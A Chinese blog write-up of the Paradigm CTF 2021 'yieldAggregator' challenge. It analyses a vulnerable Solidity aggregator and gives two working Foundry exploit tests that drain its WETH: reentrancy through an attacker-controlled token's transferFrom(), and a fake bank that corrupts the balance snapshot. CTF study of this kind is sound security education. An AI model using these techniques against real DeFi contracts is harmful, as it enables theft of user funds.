08.yieldAggregator
2023-09-18 11:10:42 # 19.Paradigm CTF 2021

yieldAggregator

分析

1.全局观

  • YieldAggregator:只有存取款,但是方法有点特别
  • Setup.sol
    • MiniBank:存取款
    • Setup:初始化题目

2.任务

使aggregator和bank合约的WETH归零

1
2
3
function isSolved() public view returns (bool) {
return weth.balanceOf(address(aggregator)) == 0 && weth.balanceOf(address(bank)) == 0;
}

3.详细分析

先来看资产和状态:

ETH WETH 授权 状态
Setup 50 WETH: YieldAggregator=>max
YieldAggregator owner=Setup, poolTokens[Setup]=50ETH
MiniBank 50 balanceOf[YieldAggregator]=50ETH, totalSupply=50ETH

存取款方法,大概率是有逻辑问题:

  • 批量存取款时候有bug比如一份msg.value重复使用?不可行
  • totalSupply溢出导致try报错是否可以利用?不可行
  • 直接在WETH转账给YieldAggregator和MiniBank?不可行
  • 存取款先后顺序导致问题?也不行
  • address[] memory tokens设置奇怪的内容?要试一下

解法1

因为deposit()没有对address[] memory tokens进行检查,并且使用poolTokens[msg.sender] += diff;快照的方式记录存入的WETH数量,因此我们可以使用重入的方式进行攻击。

思路:第四步是因为我们传入的tokens实现的transferFrom()会重入deposit(),不是正常的转账逻辑,第五步才是正常的WETH转账逻辑

1
2
3
4
5
6
7
8
1.attacker gets 50WETH
2.preparation: approve
3.begin reentrancy
4. 1st deposit(): call attacker's transferFrom()
5. 2nd deposit(): call WETH's transferFrom()
6. 2nd deposit(): protocol's WETH + 50, poolTokens[attacker] = 50
7. 1nd deposit(): protocol's WETH + 50, poolTokens[attacker] = 100
8.withdraw

核心:外部可控地址、外部可控方法、重入导致快照错误

解法2

由于只要有bank的WETH余额变化,快照都会记录,但是bank是可控的,这意味着我们可以伪造一个假的bank,然后让快照进行记录,之后再在真的bank中取款

解题

本题的关键点是:外部地址可控、外部方法可控,然后就可以进一步利用快照进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

import "forge-std/Test.sol";
import "../../src/08.YieldAggregator/Setup.sol";
import "./interface.sol";

contract attackTest is Test {
string constant weth9_Artifact = 'out/tools/helper_WETH9.sol/WETH9.json';

Setup public level;
IWETH9 public weth;
Protocol public protocol; // bank
YieldAggregator public aggregator;

function setUp() public {
// 我们用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 进行部署
payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4).transfer(100 ether);
vm.startBroadcast(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);

// 部署WETH
weth = IWETH9(deployHelper_weth(weth9_Artifact));
vm.label(address(weth), "weth");

level = new Setup{value: 100 ether}(address(weth));
aggregator = level.aggregator();
protocol = Protocol(address(level.bank()));

vm.stopBroadcast();
}

function test_isComplete_solution01() public{

// 先存50进去
weth.deposit{value: 50 ether}();
// 做一些授权准备
weth.approve(address(aggregator), type(uint256).max);
weth.approve(address(protocol), type(uint256).max);

// 开始攻击
address[] memory _tokens = new address[](1);
_tokens[0] = address(this); // token是本合约,在transferFrom()的时候会重入deposit()
uint256[] memory _amounts = new uint256[](1);
_amounts[0] = 100;
// deposit会重入攻击
aggregator.deposit(protocol, _tokens, _amounts);

// 正常取钱
_tokens[0] = address(weth);
_amounts[0] = 100 ether;
aggregator.withdraw(protocol, _tokens, _amounts);

// 检查是否完成题目
assertEq(level.isSolved(), true);
}

function test_isComplete_solution02() public{

// 先存50进去
weth.deposit{value: 50 ether}();

// 新建一个假的bank
MiniBank fakeBank = new MiniBank(address(weth));
// 做一些授权准备
weth.approve(address(aggregator), type(uint256).max);
weth.approve(address(protocol), type(uint256).max);
weth.approve(address(fakeBank), type(uint256).max);

// 在假的bank中进行存储,但是快照一样会进行拍照
address[] memory _tokens = new address[](1);
_tokens[0] = address(weth);
uint256[] memory _amounts = new uint256[](1);
_amounts[0] = 50 ether;
aggregator.deposit(Protocol(address(fakeBank)), _tokens, _amounts);

// 取款的时候,是在真的bank中取款,因为我们在快照中有余额,因此可以取款成功
aggregator.withdraw(protocol, _tokens, _amounts);

// 检查是否完成题目
assertEq(level.isSolved(), true);
}

function approve( address dst, uint256 qty) external returns (bool) {
return true;
}

// 不是正常的转账逻辑,而是重入deposit()
function transferFrom( address src, address dst, uint256 qty) external returns (bool) {
address[] memory _tokens = new address[](1);
_tokens[0] = address(weth);

uint256[] memory _amounts = new uint256[](1);
_amounts[0] = 50 ether;
aggregator.deposit(protocol, _tokens, _amounts);
return true;
}

// 部署WETH
function deployHelper_weth(string memory what) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
assembly {
addr := create(0, add(bytecode, 0x20), mload(bytecode))
}
}
}